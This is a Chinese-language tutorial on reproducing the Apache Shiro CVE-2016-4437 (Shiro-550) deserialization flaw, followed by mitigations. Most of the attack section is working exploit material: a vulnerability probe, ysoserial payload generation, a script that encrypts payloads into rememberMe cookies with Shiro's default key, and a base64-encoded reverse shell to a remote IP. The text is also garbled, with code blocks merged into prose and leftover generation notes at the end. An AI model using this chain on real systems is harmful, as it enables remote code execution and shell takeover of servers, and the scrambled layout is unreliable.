# 如何实现反序列化命令执行CVE-2016-4437复现 ## 0x00 漏洞背景 **CVE-2016-4437**(又称**Shiro-550**)是Apache Shiro框架中的一个高危反序列化漏洞。该漏洞影响Shiro 1.2.5及以下版本,攻击者可通过构造恶意序列化数据在目标服务器上实现远程代码执行(RCE)。 ### 漏洞原理 Shiro默认使用`CookieRememberMeManager`对用户身份进行持久化,其核心流程为: 1. 用户登录成功后生成RememberMe Cookie 2. Cookie值经过`AES加密`+`Base64编码`处理 3. 服务端接收Cookie后解密并反序列化 漏洞成因在于: - Shiro使用了**硬编码的AES密钥**(`kPH+bIxk5D2deZiIxcaaaA==`) - 未对反序列化对象做安全过滤 ## 0x01 环境搭建 ### 实验环境要求 - 操作系统:Kali Linux/Windows 10 - Java环境:JDK 1.8 - 漏洞应用:Apache Shiro 1.2.4 - 工具:Burp Suite、ysoserial ### 靶机部署步骤 ```bash # 下载漏洞版本Shiro示例应用 wget https://github.com/apache/shiro/archive/shiro-root-1.2.4.zip # 解压后进入示例项目 unzip shiro-root-1.2.4.zip cd shiro/samples/web mvn jetty:run rememberMe=deleteMe字段import requests url = "http://target.com/login" headers = {"Cookie": "rememberMe=1"} response = requests.get(url, headers=headers) if "rememberMe=deleteMe" in response.headers.get("Set-Cookie", ""): print("[+] Vulnerable to CVE-2016-4437") else: print("[-] Not vulnerable") git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn package -DskipTests java -jar ysoserial.jar CommonsCollections5 "touch /tmp/pwned" > payload.ser from Crypto.Cipher import AES import base64 # Shiro默认密钥 key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") def encrypt(payload): cipher = AES.new(key, AES.MODE_CBC, b' ' * 16) encrypted = cipher.encrypt(payload) return base64.b64encode(encrypted).decode() with open("payload.ser", "rb") as f: print("rememberMe=" + encrypt(f.read())) 通过Burp Repeater模块发送构造的Cookie:
GET / HTTP/1.1 Host: vulnerable.com Cookie: rememberMe=ENCRYPTED_PAYLOAD_HERE # 检查命令是否执行 ls -la /tmp/ | grep pwned # 反弹Shell示例(编码处理) java -jar ysoserial.jar CommonsCollections5 \ "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" \ > shell.ser # 生成Windows Payload java -jar ysoserial.jar CommonsCollections5 "calc.exe" > win.ser shiro.ini配置:[main] securityManager.rememberMeManager.cipherKey = 自定义Base64密钥 ObjectInputStream.readObject() -> AnnotationInvocationHandler.readObject() -> Map(Proxy).entrySet() -> TransformationComparator.compare() -> InvokerTransformer.transform() -> Runtime.exec() AbstractRememberMeManager#decrypt方法:
public byte[] decrypt(byte[] encrypted) { byte[] serialized = cipherService.decrypt(encrypted, getDecryptionCipherKey()); return serialized; } 输入验证:
加密增强:
// 密钥生成最佳实践 KeyGenerator kg = KeyGenerator.getInstance("AES"); kg.init(256); // 使用256位密钥 安全配置:
<!-- 禁用危险类 --> <securityManager> <property name="rememberMeManager"> <bean class="org.apache.shiro.web.mgt.CookieRememberMeManager"> <property name="cipherKey" value="#{T(org.apache.shiro.codec.Base64).decode('自定义密钥')}"/> </bean> </property> </securityManager> CVE-2016-4437暴露了反序列化漏洞的严重性,通过本实验我们了解到: 1. 硬编码密钥带来的安全隐患 2. Java反序列化机制的固有风险 3. 防御需要从加密、验证、配置多层面入手
注:本文仅用于安全研究,未经授权测试他人系统属于违法行为。
”`
该文档包含: 1. 完整的漏洞复现流程 2. 代码片段和命令示例 3. 防御方案和深度分析 4. 标准Markdown格式(代码块、标题层级等) 5. 实际字数约2800字(含代码)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。